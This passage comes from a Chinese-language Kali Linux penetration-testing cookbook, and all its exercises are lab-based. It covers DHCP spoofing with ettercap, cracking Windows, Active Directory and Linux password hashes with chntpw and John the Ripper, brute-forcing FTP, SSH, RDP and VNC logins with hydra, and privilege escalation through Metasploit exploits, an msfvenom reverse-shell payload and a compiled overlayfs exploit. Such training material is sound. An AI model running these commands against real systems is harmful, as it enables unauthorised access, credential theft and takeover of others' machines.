ARP 欺骗可能需要几分钟的时间才能完成,所以请耐心等待;在一切准备好之前,最好不要启动你的 Windows 机器。另外,你可能需要检查所有虚拟机的网络接口是否处于混杂模式。

  1. 打开你的 Windows 测试机器,打开命令提示符。输入以下命令。你会注意到,登山网站将指向我们的 Kali 机器:
ipconfig /flushdns 
ping www.yahoo.com 
ping us-123.hiking.simplesite.com 

Windows 命令 ping 输出终止你的 Kali 终端会话,清除你 Windows 机器的 DNS 缓存,然后重新测试。你现在应该能够访问到 us-123.hiking.simplesite.com 的真实 IP 地址。

DHCP 欺骗

在这个教程中,你将学习关于 DHCP 欺骗的知识。

DHCP 欺骗可以用来将所有数据包通过你的 Kali 盒子进行路由,或者可以将你的 DNS 服务器推送给网络上的主机。这个攻击实际上与时机非常相关。需要注意的是,这个攻击并不总是有效,因为网络上有真实的 DHCP 服务器和我们的 DHCP 欺骗服务器。DHCP 工作的方式是,受害者收到的第一个响应将是它使用的响应,无论它收到多少个响应。因此,希望的是你的响应能比官方的 DHCP 服务器更快。

准备就绪

让我们确保以下先决条件:

  • Kali Linux 正在运行,你已经以 root 身份登录

  • Windows 系统已关闭

如何操作...

我们现在将在网络上执行 DHCP 欺骗:

  1. 通过点击以下图标打开一个新的终端窗口。 

  2. 我们需要确保我们使用的接口处于混杂模式,并且需要确保 IP 转发已启用。然后我们将以 GUI 模式启动ettercap

ifconfig eth0 promisc 
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -G
  1. ettercap的主 GUI 界面中,我们想要开始嗅探流量。点击 Sniff | Unified sniffing。然后,选择我们将使用的接口。为了测试目的,我们将使用我们的主机专用接口eth1,并点击 OK:

ettercap 主界面

  1. 从这里,我们将有一个新的选项可以选择 MITM | DHCP 欺骗...

  2. 输入一个 IP 池。在这种情况下,我将使用我们主机专用网络范围中的192.168.56.100-192.168.56.110,子网掩码为255.255.255.0,DNS 服务器地址为192.168.56.10,这是我的 Kali 虚拟机的 IP 地址。点击 OK:

ettercap mitm dhcp 欺骗对话框

  1. 现在,启动你的 Windows 系统,打开命令提示符,并输入以下内容。注意,提供的 IP 地址在我们指定的范围内,你也可以在ettercap中看到响应是从那里提供的:
ipconfig

Windows ipconfig 输出因此,有几点需要注意。你会注意到默认网关没有被填充。这是因为我们在主机专用网络上没有默认网关。另外,由于没有默认网关,你将无法将流量转发到外部网络。

还有更多...

基于我们的测试环境,这个场景在使用物理机器时比使用虚拟机更容易测试。如果你想看到更好的示例,可以尝试将你的 Kali 机器连接到一个可以访问互联网的物理主机所在的网络段。

第六章:密码破解

本章将涉及以下主题:

  • 重置本地 Windows 机器密码

  • 破解远程 Windows 机器密码

  • Windows 域密码攻击

  • 破解本地 Linux 密码哈希

  • 使用字典破解密码哈希

  • 暴力破解密码哈希

  • 破解 FTP 密码

  • 破解 Telnet 和 SSH 密码

  • 破解 RDP 和 VNC 密码

  • 破解 ZIP 文件密码

介绍

密码破解有其特定用途,通常情况下,你可以访问并恢复加密的密码数据库,或者在某些情况下,为了提升权限或获取访问权限,你可能需要使用密码攻击。

重置本地 Windows 机器密码

在这个教程中,我们将通过直接访问计算机来破解本地 Windows 机器密码。

在这个教程中,我们还将模拟从 CD-ROM 启动,以便重置本地密码。

准备工作

让我们确保以下前提条件:

  • 你的 Windows 工作站已关闭

  • 你最近已下载 Kali ISO

  • 在 Windows 工作站上有一个本地标准用户并且设置了密码

如何操作...

现在我们将使用 Kali 启动介质重置 Windows 密码:

  1. 在 Windows 机器关闭的情况下,首先进入 VirtualBox,点击 Windows 虚拟机,然后点击设置:

VirtualBox 机器屏幕

  1. 从设置菜单中点击存储。点击 CD-ROM 驱动器并选择你最近下载的 Kali ISO 文件。然后点击确定:

VirtualBox 机器存储设置

  1. 现在启动你的 Windows 虚拟机,它应该会自动加载 Kali CD。 从主菜单中选择 Live(取证模式)。

根据你使用的操作系统,小心观察屏幕,可能会要求你从 CD 启动。Kali 启动屏幕

  1. Kali 运行后,打开你的终端屏幕。

  2. 你必须切换到你挂载的 Windows 卷的目录。你的驱动器 ID 可能与我的不同,但请按照以下步骤找到它:

cd /media/root
ls
  1. 在列出的目录内容中,你可能只有一个驱动器——使用 cd 命令将其设为活动驱动器。进入该目录后,使用以下命令:
cd Windows/System32/config
chntpw -l SAM

Kali SAM 输出

  1. 你现在会看到一个用户列表,以及他们是否是管理员。我们将重置 UserA 密码并将其设为系统管理员:
chnt -u UserA SAM
  1. 你将进入配置屏幕。选择 1,然后选择 3,接着在被要求时选择 Y。然后按 q 退出并选择 y 以写回注册表文件:

chnt 用户修改屏幕

  1. 为了验证,输入以下命令,你会注意到 UserA 现在是 ADMIN 并且密码是 *BLANK*
chntpw -l SAM 

chnt 显示 SAM 屏幕

  1. 这时关闭虚拟机并移除光驱中的 ISO 镜像。最后,启动虚拟机。这次它应该直接进入 Windows。点击你的用户账号,你将直接进入,无需输入密码:

Windows 7 主登录界面

  1. 如果你进入并检查你的用户账户,你会发现UserA现在是管理员:

Windows 7 用户管理界面

破解远程 Windows 机器密码

在这个教程中,我们将破解远程 Windows 机器的密码。在本案例中,我们假设已经通过 Armitage 发起了攻击并收集了所需的哈希值。如果需要,请参考第四章,查找目标中的漏洞使用 Armitage 进行高级攻击教程。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali 机器已开机

  • 你已经启动了 Armitage 并且它正在运行

  • 你已经从远程机器收集了所需的哈希值

如何操作...

现在我们将破解 Windows 机器的密码哈希值:

  1. 在 Armitage 界面中选择控制台|凭证。请注意,在我们之前的攻击中,我们已经获取了从 Windows XP 机器上提取的哈希值:

Armitage 界面

  1. 在底部选择“破解密码”。

  2. 在那里,你将看到一个选项对话框。浏览一下,查看可用的选项。无需进行任何更改,直接点击“启动”:

Armitage 中的 John the Ripper 实现

  1. 这需要几分钟时间,但最终你应该会看到如下图所示的密码:

Armitage 输出界面

还有更多内容...

这个攻击使用 John the Ripper 来提取密码。如果由于某些原因它未能在这次运行中破解密码,我们将讨论更高级的技术和各种选项,以提高 John the Ripper 的效果。我们将在继续本章时进一步探讨。

Windows 域密码攻击

在本教程中,我们将尝试破解 Windows 域控制器上的活动目录数据库。我们假设你已经通过其他攻击手段从计算机上恢复了所需的文件,包括系统文件和NTDS.dit文件。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali 机器已开机

  • 你的域控制器上有一些示例账户

  • 你已经通过其他方式收集了系统文件和NTDS.dit文件

如何操作...

现在我们将从 Windows 域控制器恢复密码:

  1. 点击终端图标打开终端。

  2. 我们需要安装一些软件包来帮助我们破解 Active DirectoryAD)域。具体来说,这些包是 libexedbntdsxtract

  3. 如果你还没有 GitHub 登录,打开浏览器并访问 www.github.com 注册为用户。

  4. 要下载 libexedb,请输入以下命令:

 cd 
 apt install autoconf automake autopoint libtool pkg-config 
 git clone https://www.github.com/libyal/libesedb.git 
 cd libesedb 
 ./synclibs.sh
 ./autogen.sh
 ./configure
 make install

有关详细的安装说明或问题,请参考以下网站:github.com/libyal/libesedb/wiki/Building

  1. 现在让我们获取 ntdsxtract 脚本:
cd 
git clone https://www.github.com/csababarta/ntdsxtract.git
  1. 让我们切换到包含我们从域控制器获取的文件的目录。在我的例子中是 AD 文件,从这里我们将使用 esedbexport 来解析并提取 ntds.dit 文件:
cd ~/ADfiles
esedbexport -t ./actived ./ntds.dit 
ls -lai 

目录列表

  1. 现在让我们看看新 actived.export 目录中的文件:
cd actived.export 
ls -lai 

目录列表

  1. 现在我们可以提取哈希值和其他数据输出表格,然后可以将其与 John the Ripper 一起使用:
python ~/ntdsxtract/dsusers.py ./datatable.3 ./link_table.5 ~/temp --passwordhashes --lmoutfile lm.out --ntoutfile nt.out --pwdformat john --syshive ~/ADfiles/SYSTEM 

哈希值提取

  1. 现在,如果我们查看 temp 目录,我们将看到几个文件,包括我们指定的两个输出文件 lm.outnt.out
ls -lai ~/temp 

目录列表

  1. 现在让我们准备好使用 john。我们需要做的第一件事是确保 rockyou 密码文件已解压。然后我们将运行 john 并查看输出:
cd ~/temp 
john nt.out 
john --show nt.out 

破解密码输出尝试使用以下命令行开关运行 john

--format=LM 并使用 lm.out 文件。

破解本地 Linux 密码哈希

在这个教程中,我们将使用 John the Ripper 破解 Linux 密码。

在本教程中,我们还将模拟从 CD-ROM 启动,以便使用 John the Ripper 破解密码。

准备就绪

让我们确保以下先决条件:

  • 你的 Kali 机器已启动

  • 你的 Linux 机器上设置了一些示例用户和密码

如何操作...

现在我们将使用 John the Ripper 破解 Linux 密码:

  1. 在你的 Windows 机器关闭时,首先进入 VirtualBox,点击 Linux 虚拟机,然后点击设置:

VirtualBox 虚拟机屏幕

  1. 从设置菜单中点击存储。点击 CD-ROM 驱动器并选择你最近下载的 Kali ISO 文件。然后点击确定:

VirtualBox 虚拟机存储设置

  1. 现在启动你的 Linux 虚拟机,它应该会自动加载 Kali CD。在主菜单中选择 Live(取证模式)。

认真观察屏幕,根据你使用的操作系统,可能会要求你从 CD 启动。 Kali 启动屏幕

  1. 让我们使用以下方法查找 Linux 卷:点击“位置”|“计算机”|“+ 其他位置”,然后双击我们的 Linux 卷。接着可以关闭“位置”窗口:

Kali 屏幕

  1. 现在打开你的终端屏幕。

  2. 你必须切换到挂载的 Linux 卷目录。你的驱动器 ID 会与我的不同,但请按照以下步骤查找它:

cd /media/root 
ls 
  1. 从列出的目录内容来看,你可能只有一个驱动器 - cd 进入该驱动器目录:

目录列表

  1. 现在让我们使用 shadow 文件和 John the Ripper 尝试破解密码。我们将使用 John the Ripper 的默认设置。你会从输出中看到我们破解了一些密码:
cd etc/ 
john shadow 

John the Ripper 输出屏幕

还有更多...

尽管我们是在本地对 shadow 文件进行攻击,但如果是远程攻击,过程是完全相同的,只需通过漏洞从 Linux 机器获取 shadow 文件即可。

使用字典文件破解密码哈希

在这个配方中,我们将使用 John the Ripper 和密码列表破解哈希值。我们还将使用来自 Linux 机器的本地 shadow 文件,并尝试通过字典列表恢复密码。

准备工作

让我们确保以下先决条件:

  • 你的 Kali 机器已经开机

  • 你已经在 Linux 机器上设置了一些示例用户和密码

  • 你已将 shadow 文件复制到 Kali 的 root 目录

如何操作...

我们现在将尝试使用预定义的字典文件破解密码:

  1. 确认你已经将 shadow 文件复制到 root 目录:

目录列表

  1. 让我们提取 rockyou 密码列表:
gunzip /usr/share/wordlists/rockyou.txt.gz
  1. 让我们使用刚才提取的密码文件和 shadow 文件来使用 John the Ripper。你会注意到我们恢复了一些看起来非常简单的密码:
cd 
john --rules -w=/usr/share/wordlists/rockyou.txt shadow 
john --show shadow

John the Ripper 输出屏幕 注意,我们恢复的所有密码实际上并不是字典中的单词,而是一些非常简单的组合。

使用暴力破解密码哈希

在这个配方中,我们将使用 John the Ripper 的暴力破解模式来破解哈希值。我们将使用来自 Linux 机器的本地 shadow 文件,并尝试通过暴力破解恢复密码。

准备工作

让我们确保以下先决条件:

  • 你的 Kali 机器已经开机

  • 你已经在 Linux 机器上设置了一些示例用户和密码,现在请再添加一些,并创建几个随机 4 个字符的密码账户。

  • 你已将 shadow 文件复制到 Kali 的 root 目录

如何操作...

我们将使用暴力破解方法攻击密码哈希:

  1. 确认你已经将 shadow 文件复制到 root 目录:

目录列表

  1. 要对我们的shadow文件进行暴力破解,我们可以使用以下命令。此命令将花费很长时间来破解任何密码,因此它被视为最后的手段:
cd
john -incremental:lanman shadow

John the Ripper 进度屏幕你可以随时按空格键,查看密码破解的进展。此外,-incremental后还有几个选项可以加速破解过程,由于我知道我的密码全是小写字母,所以我使用了-incremental:lower

  1. 几小时后,我成功获得了 Amy 和 Sheldon 的密码:

John the Ripper 输出屏幕

破解 FTP 密码

在这个操作中,我们将尝试破解 FTP 密码。

破解 FTP 密码是访问系统通过 FTP 的一个好方法,同时可以获取其他系统和服务的用户名和密码。对于这个操作,我们将使用 hydra 来测试系统。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali 机器已经启动

  • 你的 Metasploitable 机器已经启动

  • 验证 Metasploitable 机器的 IP 地址

如何操作...

我们尝试破解 FTP 服务器的密码:

  1. 我们先登录到 Metasploitable 机器,并创建几个用户进行测试:
cd
sudo useradd raj -p cinnamon -m 
sudo useradd penny -p monkey -m
sudo useradd leonard -p penny -m 
  1. 验证 Metasploitable 机器的 IP 地址——在我的情况下是192.168.56.104

你有一个用户名,但没有密码

在这一部分,我们将使用已知用户名,但密码未知的情况:

  1. 在 Kali 中打开一个终端窗口,点击图标。

  2. 我们将使用 hydra 通过密码字典来寻找密码。你会发现,很快我们就得到了为我们添加的用户找到的密码:

hydra -l penny -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

Hydra 输出屏幕

你有一个用户列表

在这个操作中,我们使用了一个已定义的实际或潜在用户名列表,这些用户名存在于服务器上:

  1. 在 Kali 中打开一个终端窗口,点击图标。

  2. 我们将使用 hydra 通过密码字典和预定义的用户名集来寻找密码。让我们来构建我们的用户名列表:

cd 
touch usernames 
echo 'penny' >> usernames 
echo 'leonard' >> usernames 
echo 'raj' >> usernames 
  1. 现在让我们使用我们的用户名列表和密码字典运行 hydra。你会注意到这确实需要一些时间,但最终你会得到密码:
hydra -L ~/usernames -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.104/

Hydra 输出屏幕

破解 Telnet 和 SSH 密码

在这个操作中,我们将尝试破解 Telnet 和 SSH 密码。

破解 Telnet 和 SSH 密码不仅可以用于系统,还可以用于基础设施。通过这种方法,你可以尝试渗透交换机、防火墙、路由器,几乎所有网络设备,而且大多数 Linux 机器都会启用这种访问方式。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali 机器已经启动

  • 你的 Metasploitable 机器已经启动

  • 验证 Metasploitable 机器的 IP 地址

如何操作...

我们将尝试破解 Telnet 和 SSH 密码:

  1. 让我们首先登录到 Metasploitable 机器,创建几个用户来进行测试:
cd 
sudo useradd johndoe -p ketchup -m 
sudo useradd janedoe -p mustard -m 
sudo useradd kiddoe -p monkey -m

  1. 验证 Metasploitable 机器的 IP 地址——在我的案例中是 192.168.56.104

使用用户名列表破解 Telnet 密码

在这个教程中,我们将尝试根据已知或潜在的用户名列表破解 Telnet 密码:

  1. 通过点击图标在 Kali 中打开终端窗口。

  2. 我们将使用 Hydra 来通过单词列表和预定义的用户名集合进行密码破解。让我们来构建用户名列表:

cd 
touch usernames2 
echo 'kiddoe' >> usernames2 
echo 'janedoe' >> usernames2 
echo 'johndoe' >> usernames2

  1. 现在,让我们使用我们的用户名列表和单词列表运行 Hydra。你会注意到这需要一些时间,但最终你会获得密码:
hydra -L ~/usernames2 -P /usr/share/wordlists/rockyou.txt telnet://192.168.56.104 

Hydra 输出屏幕,Telnet 可能需要很长时间并且结果不可靠。然而,由于它在遗留网络中的普遍性,它仍然是一种很好的攻击方法。

使用已知用户名破解 SSH 密码

在这个教程中,我们将使用已知用户名破解 SSH 密码:

  1. 通过点击图标在 Kali 中打开终端窗口。

  2. 现在让我们使用已知用户名和单词列表运行 Hydra。你会注意到这需要一些时间,但最终你会获得密码:

**hydra -t 4 -l kiddoe -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.104** 

Hydra 输出屏幕,-t 4 会减慢进程的数量,以防止其过载或触发某些 SSL 实例的保护机制。

破解 RDP 和 VNC 密码

在这个教程中,我们将尝试破解 Windows 机器上的 RDP 和 VNC 密码。

破解 RDP 或 VNC 密码是一种非常强大的方式来访问任何系统。虽然 RDP 仅限于 Windows 系统,但 VNC 是一个跨平台的远程控制工具,支持 Windows、Mac 和 Linux。你可以使用之前的扫描结果查找 Windows 机器上开放的 VNC 端口。

准备工作

让我们确保以下前提条件:

  • 你的 Kali 机器已经开机

  • 你的 Windows 机器已经开机并连接到 NAT 网络

  • 验证互联网连接

  • 系统中有一些有效用户并且启用了 RDP

如何操作...

我们现在将尝试破解远程访问密码:

  1. 让我们从登录 Windows 机器开始,验证是否有可用账户,并下载和安装 VNC。

  2. 打开 Internet Explorer 浏览器并访问 www.uvnc.com。点击顶部的 Downloads,选择软件的最新版本并下载。

  3. 通过双击下载位置的图标来安装 UltraVNC

目录列表

  1. 当出现提示时,点击运行,并在 UAC 对话框出现时选择“是”。选择适当的语言,点击单选按钮接受协议,然后点击下一步。在发布说明信息屏幕上点击下一步。验证安装目录,然后点击下一步。验证正在安装的组件——完全安装,并确认是否已选择 UltraVNC Server,然后点击下一步。在快捷方式名称屏幕上,接受默认设置并点击下一步。

  2. 在选择附加任务的屏幕上,选择所有复选框并点击下一步:

  1. 最后,点击安装。

  2. 完成后,根据需要点击完成剩余的屏幕。

  3. 关闭你的 Windows 机器—将其切换回仅主机模式—启动 Windows 虚拟机。

  4. 为了进行此测试,我们假设你知道如何通过控制面板的用户帐户选项卡添加用户。添加两个用户:

    • 用户名 - UserA,密码 - franks

    • 用户名 - UserB,密码 - beans

  5. 如果你设置这些用户为标准用户而非管理员,请确保允许他们访问 RDP 服务。要在 Windows 7 上执行此操作,右键点击我的电脑,然后点击属性:

  1. 在左上角,点击远程设置。

  2. 在系统属性屏幕上,请确保已选择允许来自任何版本的远程桌面(较不安全)计算机的连接。然后点击选择用户...:

  1. 从选择用户对话框中,添加UserAUserB并点击确定:

  1. 关闭所有剩余的对话框。

  2. 验证你的 Windows 机器的 IP 地址;对我来说,我使用的是192.168.56.105

  3. 在 Kali 中点击图标打开终端窗口。

  4. 现在让我们使用已知的用户名和词典文件运行 hydra。你会注意到这确实需要一些时间,但最终你会得到密码:

hydra -t 4 -W 1 -l UserA -P /usr/share/wordlists/rockyou.txt rdp://192.168.56.105

Hydra 输出屏幕

  1. 要对 VNC 执行相同操作,只需将 RDP 替换为 VNC:
hydra -t 4 -W 1 -l UserA -P /usr/share/wordlists/rockyou.txt vnc://192.168.56.105

破解 ZIP 文件密码

在本教程中,我们将尝试破解一个 ZIP 文件的密码。

有时你会遇到带有密码的 ZIP 文件。通常,你可以通过简单的字典攻击轻松破解这些密码。

准备就绪

让我们确保以下先决条件:

  • 你的 Kali 机器已开机

如何操作...

现在,我们将破解 ZIP 文件的密码并恢复其内容:

  1. 在 Kali 中点击图标打开终端窗口。

  2. 输入以下命令来创建加密的 ZIP 文件:

cd 
mkdir 6.10 
cd 6.10
touch one two three 
zip -e numbers.zip one two three
  1. 当要求输入密码时,我们可以使用一个简单的密码,例如password

  2. 我们将使用来自以前教程的rockyou.txt字典文件与fcrackzip

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' numbers.zip

fcrackzip 输出

第七章:提权

在本章中,我们将涵盖以下主题:

  • 以提升的用户身份建立连接

  • 远程绕过 Windows UAC

  • 本地 Linux 系统检查提权

  • 本地 Linux 提权

  • 远程 Linux 提权

  • DirtyCOW 提权(Linux)

介绍

既然我们已经在环境中获得了一个小的立足点,我们将利用这个立足点扩展我们的突破范围,提升管理员权限,并通过横向移动来入侵更多机器。在大多数情况下,突破的初始点并不是目标,而只是通往更有价值目标的手段。通过提升特权,可以使你在环境中移动的能力变得更加轻松。

以提升的用户身份建立连接

在本教程中,我们将建立与远程 Windows 计算机的连接。我们将使用在前几章中学到的相同技能来进行初始连接。

准备就绪

我们需要确保以下前提条件:

  • 你的 Kali Linux 虚拟机已启动并且你以 root 身份登录

  • 你的 Windows XP 虚拟机已经启动。

如何操作...

现在我们将连接到一台 Windows 机器,并将该连接提升到特权级别:

  1. 验证你的 Kali 主机和 Windows 机器的 IP 地址—你应该在两个主机仅限网络上都有接口。在我的例子中,我的 Kali 虚拟机 IP 是192.168.56.10,我的 Windows XP 虚拟机 IP 是192.168.56.102

  2. 我们需要确保 Windows XP 启用了 NetBIOS over TCP。作为管理员登录 Windows XP 虚拟机,点击开始 | 控制面板 | 网络连接。

  3. 右键点击本地连接,点击属性:

Windows 网络连接屏幕

  1. 点击右下角的“高级”按钮,然后点击顶部的 WINS,确保选中“启用 NetBIOS over TCP/IP”:

高级 TCP/IP 设置:WINS

  1. 如果未选中,点击确定 | 关闭并重启你的 Windows XP 虚拟机。

  2. 本书中我们将使用 Armitage,但如果你更喜欢通过 CLI 进行所有操作,你可以使用msfconsole。如果此时数据库中有任何主机显示,我们也会清除它。

请参考第四章,《在目标中寻找漏洞》,了解如何启动 Armitage 或 Metasploit,并根据你的偏好清除数据库。

  1. 在 Armitage 界面中,我们点击主机 | 添加主机,输入我们的 Windows XP 机器的 IP 地址192.168.56.102,然后点击添加。系统确认主机已添加后,点击确定:

Armitage:添加主机对话框

  1. 从顶部菜单点击主机 | Nmap 扫描 | 强力扫描,在扫描范围中输入 XP 机器的 IP 地址,然后点击确定:

Armitage:nmap 扫描

  1. 一旦nmap完成,你将看到“扫描完成!”的消息;点击确定:

  2. 从顶部菜单中,点击攻击 | 查找攻击:

Armitage:主屏幕

  1. 在“攻击分析完成...”屏幕上,点击确定。

  2. 右键点击主机,点击攻击 | smb | ms08_067_netapi:

Armitage:主屏幕

  1. 从攻击对话框中,点击启动:

Armitage:攻击对话框屏幕

  1. 你会注意到,现在主机显示你已经控制了该设备:

Armitage:主屏幕

  1. 右键点击 XP 主机,点击 Meterpreter 1 | 互动 | Meterpreter Shell:

Armitage:主屏幕

  1. 从 shell 中输入getuid以查看当前谁已登录——你会注意到你已经拥有系统级别的权限:

Armitage:主屏幕

远程绕过 Windows UAC

在本教程中,我们将建立与远程 Windows 计算机的连接。然后,我们将绕过用户帐户控制UAC)以获取提升的权限。UAC 是 Windows 为防止远程攻击而增强安全性的措施,用户需要确认潜在的权限提升请求。

准备就绪

让我们确保以下前提条件:

  • 你的 Kali Linux 虚拟机已经启动,并且你已经以 root 用户登录

  • 你的 Windows XP 虚拟机已启动

如何进行...

我们将远程绕过 Windows UAC 以提升权限:

  1. 验证你的 Kali 虚拟机和 Windows 虚拟机的 IP 地址——你应该在两个主机的独立网络上都能看到接口。在我的情况下,我的 Kali 设备是192.168.56.10,而我的 Windows XP 设备是192.168.56.102

  2. 通过点击终端图标打开终端窗口:

  3. 我们将通过输入以下命令快速创建一个有效载荷文件:

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.56.10 lport=8443 -f exe > /root/exploit.exe 

Kali:终端输出

  1. 一旦有效载荷创建完成,将其移动到目标机器。

  2. 以标准用户身份登录到目标计算机。在我的情况下,我将以Jane Doe身份登录。你可以打开命令提示符并使用qwinsta命令,或者在较新的 Windows 版本中,你可以使用whoami命令,类似于 Linux 系统:

qwinsta命令和whoami命令提供有关当前登录会话的信息。qwinsta自 Windows 早期版本以来就已经被使用。whoami命令是 Linux 环境中使用多年的标准命令,最终被较新的 Windows 版本所采用。Windows:命令提示符

  1. 让我们在 Armitage 中启动一个监听器,以便接收我们刚刚复制的有效载荷。

参考 第四章,在目标中寻找漏洞,了解更多关于创建监听器的信息。

  1. 从 Armitage 主屏幕,选择 Armitage | Listeners | Reverse(等待):

Armitage: 主屏幕

  1. 将端口设置为 8443,类型选择为 meterpreter,然后点击 Start Listener:

Armitage: 创建监听器对话框

  1. 在你的 Windows 机器上,双击 exploit.exe 文件以启动:

Windows 主屏幕:启动漏洞利用

  1. 你现在会注意到,我们看到设备已被利用并且已创建会话:

Armitage: 主屏幕

  1. 右键点击被利用的机器,选择 Meterpreter 1 | 交互 | Meterpreter Shell:

Armitage: 主屏幕

  1. meterpreter 控制台,输入以下命令。你会注意到我已登录为 Jane Doe,但没有权限运行 getsystem 命令:
getuid 
sysinfo
getsystem 

Armitage: meterpreter 控制台

  1. 为绕过 UAC 控制,在左侧选择 exploit | Windows | local | ms10_015_kitrap0d:

Armitage: 主屏幕

  1. 在对话框中,验证当前会话是否正确识别你正在使用的 msf 会话(在我的例子中是 1),并且 LHOST 显示的是与 Windows 机器在同一子网的接口的 IP 地址,然后点击 Launch:

Armitage: 漏洞选项屏幕

  1. 然后你将看到一个成功的漏洞利用,并打开了一个新的会话:

Armitage 漏洞利用屏幕

  1. 右键点击 Windows 机器,选择 Meterpreter 2 | 交互 | Meterpreter Shell,选择此新会话:

Armitage: 主屏幕

  1. 现在让我们重新运行之前的命令。你会注意到我已登录为 SYSTEM,并且我有权限执行 getsystem 命令:
getuid
sysinfo 
getsystem 

Armitage: meterpreter 控制台

本地 Linux 系统检查权限提升

在本教程中,我们将使用 Python 脚本检查系统是否存在可能导致权限提升的漏洞。

准备中

让我们确保以下前提条件:

  • 你的 Metasploitable 机器已连接到 NAT 网络(完成此实验后请立即断开连接)

  • 你的 Metasploitable 机器已开机

如何操作...

在本教程中,我们将尝试发现一个漏洞,该漏洞将允许我们在 Linux 中提升权限:

  1. 使用用户名 msfadmin 和密码 msfadmin 登录到 Metasploitable 机器。

  2. 从 Metasploitable 机器的终端提示符,运行以下命令:

cd <enter>
wget http://www.securitysift.com/download/linuxprivchecker.py <enter>
python ./linuxprivchecker.py >> vulns.txt <enter>
tail --lines=50 vulns.txt |more <enter>
  1. 现在,你可以浏览一系列可以用来针对该机器进行权限提升的漏洞:

Metasploitable 控制台输出

  1. 从这里,你可以使用我们在之前教程中学到的漏洞数据库(Exploit DB),查看哪些攻击可以用来对 Linux 虚拟机进行权限提升。

本地 Linux 权限提升

在本教程中,我们将利用一个已知的漏洞来为 Linux 系统中的登录用户提升权限。我们将使用标准用户的登录凭证,然后通过本地账户访问来提升其权限。

准备工作

让我们确保以下先决条件:

  • 你的 Kali 虚拟机已启动并运行

  • 下载并设置 Vulnerable OS 2(VulnOS2),请访问 www.vulnhub.com/entry/vulnos-2,147/

  • 将网络接口附加到仅限主机的网络

  • 启动你的 VulnOS2 镜像

如果你需要帮助设置虚拟机,请参阅 第一章,安装 Kali 和实验室设置

如何操作...

现在我们将在 Linux 系统中提升权限:

  1. 首先找到 VulnOS2 镜像的 IP 地址——我们可以使用简单的 nmap 扫描来查找它。点击终端图标打开终端窗口。

  2. 输入以下命令,在仅限主机网络 192.168.56.0/24 上运行快速 nmap 扫描:

nmap -T4 -F 192.168.56.0/24
  1. 从我们的输出中,我们可以看到机器的地址是 192.168.56.104

Kali 控制台输出我们将通过 SSH 访问设备来利用这个漏洞。也可以使用本地访问,但设计虚拟机的人使用了 AZERTY 键盘布局,如果你想进行本地操作,你需要做相应的调整。由于该布局假定使用不同的键盘布局,你将不能像平常一样直接输入。设计者的意图是,作为渗透测试人员,你需要意识到不同的用户或计算机可能会提供不熟悉的环境,而你需要作出调整。

  1. 现在我们通过 SSH 连接到设备,使用我们通过其他方式获取的凭证。在 Kali 命令终端窗口中输入以下内容:
ssh webmin@192.168.56.104

用户名是 webmin,密码是 webmin1980。如果系统询问是否继续连接,请选择“是”。如果出现远程主机身份已更改的错误,可以通过在控制台输入 rm /root/.ssh/known_hosts <enter> 清除已知主机记录,然后重新尝试 SSH 连接。

  1. 假设我们使用了之前的教程《本地 Linux 系统检查权限提升》,我们可能会发现该系统对漏洞 37292 易受攻击。

  2. 打开 Firefox 浏览器,访问 www.exploit-db.com/exploits/37292/。查看漏洞的详细信息,点击“查看原始”,并将其内容复制到剪贴板:

漏洞 37292 (CVE-2015-1328) overlayfs 是影响 Ubuntu 的一个漏洞,未能正确检查上层文件系统区域中文件的创建。利用该漏洞可能导致获取 root 权限。Firefox: 漏洞数据库

  1. 从 SSH 会话中,输入以下内容:
cd <enter>
touch 37292.c <enter>
nano 37292.c <enter>
  1. 粘贴剪贴板内容,退出 nano 并保存文件:

nano 编辑器界面

  1. 现在,我们必须通过输入以下内容来编译 C 代码——还要注意,我们以 webmin 用户身份登录,并且关机命令无法执行:
cd <enter>
gcc 37292.c -o 37292 <enter>
whoami <enter>
shutdown -h now <enter>
  1. 现在让我们通过输入以下内容来运行 exploit:
cd <enter>
./37292 <enter>
whoami <enter>
  1. 现在你会注意到你已经是 root 用户:

控制台输出界面

远程 Linux 提权

在本教程中,我们将使用 Metasploit 对 Metasploitable 虚拟机进行攻击,以提升用户的权限。

准备工作

我们来确保以下先决条件:

  • 你的 Kali 虚拟机已启动并运行

  • 你的 Metasploitable 虚拟机已启动并运行,并且在主机专用网络中

如何操作…

在本教程中,我们将在 Linux 设备上远程提升权限:

  1. 首先,让我们登录到 Metasploitable 虚拟机并添加一个标准用户。

Metasploitable 的默认用户名是 msfadmin,密码是 msfadmin

  1. 从控制台,输入以下命令来添加用户并验证 Metasploitable 主机的 IP 地址:
cd <enter>
ifconfig <enter>
sudo useradd -m user7 <enter>
 msfadmin <enter>ex
sudo passwd user7 <enter>
 password <enter>
 password <enter>
exit <enter>

Metasploitable 控制台

  1. 从 Kali 开始,启动 Armitage。

请参阅第四章,寻找目标中的漏洞,获取有关启动 Armitage 的信息。

  1. 在 Armitage 中,添加 Metasploitable 虚拟机,在我的情况下是 192.168.56.105,通过点击主机 | 添加主机:

Armitage: 主界面

  1. 从添加主机对话框中,输入 Metasploitable 虚拟机的 IP 地址并点击添加。点击确认对话框中的“确定”:

Armitage: 添加主机对话框

  1. 通过选择主机并点击主机 | Nmap 扫描 | 强力扫描,快速扫描设备。确保在输入界面中填写了虚拟机的 IP 地址并点击“确定”:

Armitage: 输入对话框

  1. 扫描完成后,在扫描完成对话框中点击“确定”。

  2. 现在点击顶部菜单中的攻击 | 查找攻击,然后在攻击分析完成对话框中点击“确定”。

  3. 现在让我们通过 Telnet 使用用户名和密码登录 Metasploitable 机器,方法是右键点击主机并选择登录 | telnet:

Armitage: 主界面

  1. 在登录对话框中,输入用户名 user7 和密码 password,然后点击启动:

Armitage: 启动对话框

  1. 现在你会看到,基于主机图标的变化,我们已经获得了远程访问:

Armitage:主界面

  1. 右键点击主机,选择 shell | 互动 选项,你将进入 Metasploitable 机器的命令提示符窗口。输入以下命令:
whoami <enter>
shutdown -h now <enter>
sudo shutdown -h now <enter>
  1. 从输出中你会看到我们是一个标准用户,没有 root 或 sudo 权限:

Armitage:shell 输出

